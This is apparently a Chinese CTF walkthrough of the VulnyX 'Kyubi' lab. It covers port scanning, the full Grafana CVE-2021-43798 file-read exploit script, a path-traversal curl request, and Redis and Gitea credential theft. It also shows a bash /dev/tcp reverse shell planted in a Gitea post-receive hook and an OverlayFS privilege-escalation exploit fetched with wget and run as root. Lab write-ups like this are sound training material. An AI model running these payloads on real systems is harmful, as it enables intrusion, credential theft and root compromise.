vulnyx-Kyubi 靶场渗透

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.130

  1. 扫描服务器开放了哪些端口,有什么服务

    nmap -sV -T4 -p- -A 192.168.23.130

分析 nmap 扫描结果可以发现:

  1. 22/tcp - SSH (OpenSSH 8.9p1 Ubuntu)
  • 服务: 标准远程管理接口。
  • 分析: 弱口令/密钥泄露: 考虑到后面有 Jenkins 和 Gitea,红队应重点通过其他服务的源码泄露或配置错误寻找 .ssh/id_rsa 密钥。
    • 指纹信息: Ubuntu 3ubuntu0.14 确认为较新的 Ubuntu 系统(可能是 22.04 LTS),直接利用系统级漏洞的可能性较低。
    • 红队路径: 后期通过其他服务获取 WebShell 后,再以此为跳板或持久化手段。
  1. 80/tcp & 443/tcp - HTTP/HTTPS (Nginx 1.18.0)
  • 服务: 反向代理/入口负载均衡。
  • 分析:
    • 重定向: 80 强制跳转 443。
    • 证书信息: commonName=nexus.local。这是一个关键情报,暗示了内部可能存在一个 Nexus 仓库管理器(通常用于存储镜像、Jar 包、Npm 包等)。
    • 域名关联: 攻击者应修改本地 /etc/hosts,将 nexus.local 指向该 IP,可能会触发不同的虚拟主机配置。
    • 标题: "Kyubi Source Control",结合端口 3000,确认该服务器运行着源码管理系统。
  1. 3000/tcp - Gitea (Kyubi Source Control)
  • 服务: 类似于 GitHub 的开源 Git 托管平台(Gitea 的特征:gitea_session Cookie)。
  • 分析:
    • 源码泄露: 这是红队的"金矿"。通过注册或尝试匿名访问,寻找数据库凭据、API 密钥、容器配置。
    • 已知漏洞: Gitea 历史上有过多个 RCE 和鉴权绕过。需通过 v1/version(如果可用)获取具体版本号。
    • 供应链攻击: 检查是否有正在构建的项目,修改 CI 配置(如 .gitea/workflows)可直接在构建服务器上执行代码。
  1. 3001/tcp - Grafana (Monitoring GUI)
  • 服务: 监控可视化平台。
  • 分析:
    • 默认凭据: 尝试 admin/admin
    • 信息探测: Grafana 经常连接到底层的 Prometheus 或数据库,可以利用数据源测试功能泄露内部网络拓扑或配置信息。
    • 漏洞利用: 如果版本较低(如 < 8.3.1),可能存在目录穿越漏洞(CVE-2021-43798)直接读取系统文件。
  1. 6379/tcp - Redis
  • 服务: 内存数据库。
  • 分析:
    • 未授权访问/弱密码: 这是高危点。如果未授权,可以利用 CONFIG SET 写入 SSH 公钥到 /root/.ssh/authorized_keys 或写入计划任务(Crontab)获取反弹 Shell。
    • 敏感数据: 检查其中缓存的 Session 信息或 Gitea 的配置缓存。
  1. 9090/tcp - Prometheus Node Exporter
  • 服务: 系统级指标收集。
  • 分析:
    • 侦察价值: /metrics 接口会泄露主机的详细信息,包括:
      • 运行的进程列表。
      • 磁盘挂载点(寻找敏感挂载)。
      • CPU 核心数、内存使用情况(评估资源利用率,防止暴力破解时系统崩溃)。
      • 网络连接状态,帮助发现内网中其他的 IP。
  1. 45177/tcp - Jenkins (httpd 2.387.3)
  • 服务: 自动化服务器(CI/CD 核心)。
  • 分析:
    • 高危核心: 端口号非常规(45177),通常意味着它是作为 Docker 容器映射出的或是为了躲避扫描。
    • 攻击向量: 未授权访问/弱口令: 一旦进入后台,可通过 "Script Console" (Groovy 脚本) 直接在宿主机执行系统命令。
      • 凭据存储: Jenkins 经常存储了部署所需的 SSH 密钥、AWS 密钥、数据库口令,是获取进一步权限的关键。
      • CVE-2024-23897: 如果版本处于受影响范围,可通过 CLI 漏洞读取服务器文件。
  1. 访问暴露面最多的 web 服务

封面显示和 gitea 有关,查看 api 下泄露版本的页面

http://192.168.23.130:3000/api/v1/version

whatweb 扫描出来一些指纹特征

复制代码
whatweb -v http://192.168.23.130
  1. 扫描网站子目录

    gobuster dir -e -u http://192.168.23.130:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

有传参点

http://192.168.23.130:3000/alice?tab=activity

fuzz 探测一下

复制代码
ffuf -c -u "http://192.168.23.130:3000/Alice?tab=FUZZ"
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -fs 1234

没什么有用发现

  1. 再看 3001 端口的 web 服务

扫描这个网站指纹

复制代码
whatweb -v http://192.168.23.130:3001/login

https://github.com/grafana/grafana

开放且可组合的可观测性和数据可视化平台

在漏洞数据库检索相关漏洞

查找路径穿越漏洞能够读取敏感文件,导出攻击脚本

复制代码
searchsploit -m 50581.py
复制代码
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

存在两个攻击语句

复制代码
python3 50581.py -H http://192.168.23.130:3001 
Read file > /etc/passwd

curl -s --path-as-is http://192.168.23.130:3001/public/plugins/mysql/../../../../../../../../etc/passwd
  1. 尝试读取更多敏感信息,例如 Grafana 核心凭据(金矿)
  • /var/lib/grafana/grafana.db
    • 重要性:这是 Grafana 的 SQLite 数据库。
    • 利用 :下载后使用 sqlite3 查看。里面包含:
      • 用户哈希:可以离线破解。
      • 数据源(Data Sources)密码:Grafana 连接的 Prometheus、MySQL、PostgreSQL 的明文或可解密密码。
      • Session 条目:可能直接提取到管理员的有效 Session。
  • /etc/grafana/grafana.ini
    • 查看 secret_key。有了这个 Key,你可以伪造管理员的 Session Cookie。

顺利得到 redis 的密码R3d1sS3cur3P@ss2026

  1. 尝试拿获取的密码连接 redis

    redis-cli -h 192.168.23.130
    AUTH R3d1sS3cur3P@ss2026

再使用命令读取数据库里面所有的 key

复制代码
keys *

列表中特别注意到序号 32 名为 deploy:credentials的key。从名称可以看出,这里可能保存了在部署过程

中使用的凭证。那么可以使用命令获取找到的密钥中的信息

复制代码
GET deploy:credentials

Redis 服务端返回了JSON格式的数据,由此得到 gitea 的账号密码:gitadmin\G1tAdm1n2025!

  1. 成功登录到 3000 端口的 gitea 服务

由此获得了对源代码管理平台的完全访问权限。用户的仪表板页面可以看到与账户相关的一些仓库nexus-platform和deployment-configs

在这些仓库中通常可能存储着部署脚本、凭证或配置文件,需要详细检查当中内容。

  1. 利用 Git Hooks 是 Gitea 中获取 Shell 的"官方"路径。Gitea 允许管理员为仓库配置 Git Hooks (如 pre-receiveupdatepost-receive),这些钩子本质上是在服务器上运行的脚本。
  • 前提条件: 拥有管理员账号,且配置文件 app.ini 中没有禁用 DISABLE_GIT_HOOKS(默认通常是开启的)。
  • 操作步骤:
    1. 进入任意一个仓库的 "设置" (Settings) -> "管理 Git 钩子" (Git Hooks)
    2. 编辑 post-receive 钩子。http://192.168.23.130:3000/gitadmin/nexus-platform/settings/hooks/git/post-receive
    3. 编程 Bash 反弹 shell 命令

    bash -i >& /dev/tcp/192.168.23.128/4444 0>&1

    1. 在Hook保存后,会在post-receive部分出现一个活动指示器。这表示Hook处于活动状态
    1. 为此让hook生效,需要在仓库中提交新commit。因为post-receive hook 通常在push或 commit发生时触发。随便修改一个文件并 git push
    1. 为了触发Hook,在仓库中通过Add File→New File创建了一个新文件。文件命名为test,并在其中写入了普通的测试文本。目标是生成新的commit。因为正是这个commit过程会触发hook
    1. 文件创建后点击了" Commit Changes"。这会在该仓库中创建新的提交,并在Git服务器上触发hook。
    2. 触发: 当 操作完成时,服务器会执行 post-receive 脚本,你将获得一个 git 用户权限的 Shell。
  1. 注意 kali 开启对 4444 端口的监听

    nc -lvvp 4444

成功 getshell。信息收集三件套

复制代码
id
uname -a
lsb_release -a

查找得到用户 flag

复制代码
ls /home
cd /home/developer             
ls
cat user.txt
9e88f7434e40990c1aec3e6a4251dadd
  1. 然后尝试提权操作。Linux kyubi 5.15.0-171-generic #181-Ubuntu,这是一个典型的 Ubuntu 22.04 LTS (Jammy Jellyfish) 环境。

CVE-2023-2640 & CVE-2023-32629

  • 描述: Ubuntu 针对 OverlayFS 模块引入了一些非标准的修改(为了支持某些权限特性),导致在特定操作下可以跳过权限检查,将具有敏感能力的权限文件(如具有 SUID 的 shell)拷贝到普通目录。
  • 利用: 这种漏洞通常通过简单的 shell 脚本即可实现,不需要复杂的二进制 Payload。

直接从网上下载相关 exp,然后给权限执行

复制代码
wget -q https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
chmod +x exploit.sh
./exploit.sh
/var/tmp/bash -p

成功得到 flag

e79950c85e8509ebf0c644bbbb750bbe

相关推荐
云安全助手19 小时前
2026年AI安全大模型实战指南:快快云安全AI能力全景解析
人工智能·网络安全·claude
KKKlucifer19 小时前
国内堡垒机如何打通云网运维安全一体化
运维·安全
FreeCultureBoy20 小时前
GDidees CMS - Arbitrary File Upload (CVE-2023-27178)
安全
程序猿编码20 小时前
给你的网络流量穿件“隐形衣“:手把手教你用对称加密打造透明安全隧道
linux·开发语言·网络·安全·linux内核
zmj3203241 天前
欧盟 R155 核心范围
网络安全·信息安全
飞飞传输1 天前
国产化FTP替代方案哪个好?选对平台让传输更安全高效
大数据·运维·安全
whyfail1 天前
CVE-2026-39363-Vite开发服务器安全漏洞深度分析
安全·vite
Y学院1 天前
网络安全基础核心知识点教程
网络·web安全·php
amao99881 天前
系统安全-概述
安全·系统安全
阿赛工作室1 天前
符合欧盟安全标准的 Node.js + Vue3 全栈架构设计
安全·node.js